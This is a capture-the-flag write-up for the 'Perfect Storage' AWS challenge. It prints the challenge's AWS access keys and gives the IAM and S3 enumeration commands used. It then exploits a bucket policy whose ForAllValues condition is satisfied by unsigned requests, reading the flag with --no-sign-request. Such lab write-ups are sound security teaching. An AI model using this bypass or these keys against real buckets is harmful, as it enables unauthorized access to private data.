> For the complete documentation index, see [llms.txt](https://kabinet.gitbook.io/ctf-writeup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kabinet.gitbook.io/ctf-writeup/authored/cyber-league-2025-major-1/perfect-storage.md).

# Perfect Storage

## Description

The intern is exploring S3 buckets to host internal documents. He insists that he has scoped the IAM policy correctly to restrict access solely to the admin. Prove the intern wrong by escalating your user privileges and access the secret document!

Attached File: user.txt

```
aws_access_key_id = AKIAU24SYXUWGFF2Y2GS
aws_secret_access_key = ylEfloqS+B+O56WesG7qg8fEl0F1WD79OyckBuTf
```

## Solve

<figure><img src="/files/F5Y5lECTWnO8gUFuDO0T" alt=""><figcaption><p>sanity check that the credential works</p></figcaption></figure>

Since the challenge description mentioned IAM, lets attempt to perform IAM enumeration on the user.

```
aws iam list-attached-user-policies --user-name thisisauselessuserfortesting --profile perfect_storage
```

<figure><img src="/files/MLmb7xnKrx9NsrP18BAD" alt=""><figcaption></figcaption></figure>

Doing standard enumeration, we noticed the user have the policy hackerman101 attached. Lets attempt to enumerate the policy now.

```
aws iam get-policy --policy-arn arn:aws:iam::332630900012:policy/hackerman101 --profile perfect_storage
aws iam get-policy-version --policy-arn arn:aws:iam::332630900012:policy/hackerman101 --version-id v2 --profile perfect_storage
```

<figure><img src="/files/yrvQRa1ys4KmqsqXzcB2" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/avpR0ObDFXhZdMQnH7GT" alt=""><figcaption></figcaption></figure>

In the iam policy, we noticed that the user `thisisauselessuserfortesting`has the get bucket permission for `perfect-storage-7815696ecbf1c96`

However, when attempting to access the s3 bucket, we are met with an explicit deny in an identity based policy.

<figure><img src="/files/dECQNyPg6XC64yxE4GIY" alt=""><figcaption></figcaption></figure>

Lets attempt to get the bucket policy to see if theres any policy that is explicitly denying our permission.

```
aws s3api get-bucket-policy --bucket perfect-storage-7815696ecbf1c96 --profile perfect_storage
```

<figure><img src="/files/RF7W2vW3w2zVU7gPb7ah" alt=""><figcaption></figcaption></figure>

I have attached the prettified

```json
{
    "Policy": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Effect": "Allow",
                "Principal": "*",
                "Action": [
                    "s3:ListBucket",
                    "s3:GetObject"
                ],
                "Resource": [
                    "arn:aws:s3:::perfect-storage-7815696ecbf1c96/*",
                    "arn:aws:s3:::perfect-storage-7815696ecbf1c96"
                ],
                "Condition": {
                    "ForAllValues:StringLike": {
                        "aws:PrincipalArn": "arn:aws:iam::666666666666:user/admin"
                    }
                }
            }
        ]
    }
}
```

Here we can see the bucket policy allow all principal (ie any user) to perform list bucket and get object. However, there is a condition where the user principal arn is `arn:aws:iam::666666666666:user/admin`

The `ForAllValues`is overtly permissive according to aws documentation.

{% embed url="<https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-single-vs-multi-valued-context-keys.html#reference_policies_condition-multi-valued-context-keys>" %}

<figure><img src="/files/6DM00YGP2ZXqtJowCN8e" alt=""><figcaption></figcaption></figure>

So if we are able to pass the PrincipalArn as empty, we are able to bypass this policy.

```
aws s3 ls s3://perfect-storage-7815696ecbf1c96 --profile perfect_storage
aws s3 ls s3://perfect-storage-7815696ecbf1c96  --no-sign-request
```

<figure><img src="/files/6OiRDRnqzJVF4LfA47rs" alt=""><figcaption></figcaption></figure>

Comparing the output between both s3 list object, we can see the second one with the `--no-sign-request`is able to bypass the policy.

```
aws s3 cp s3://perfect-storage-7815696ecbf1c96/flag.txt - --no-sign-request
```

<figure><img src="/files/TuKGJUAOqGoO9iT0riVk" alt=""><figcaption></figcaption></figure>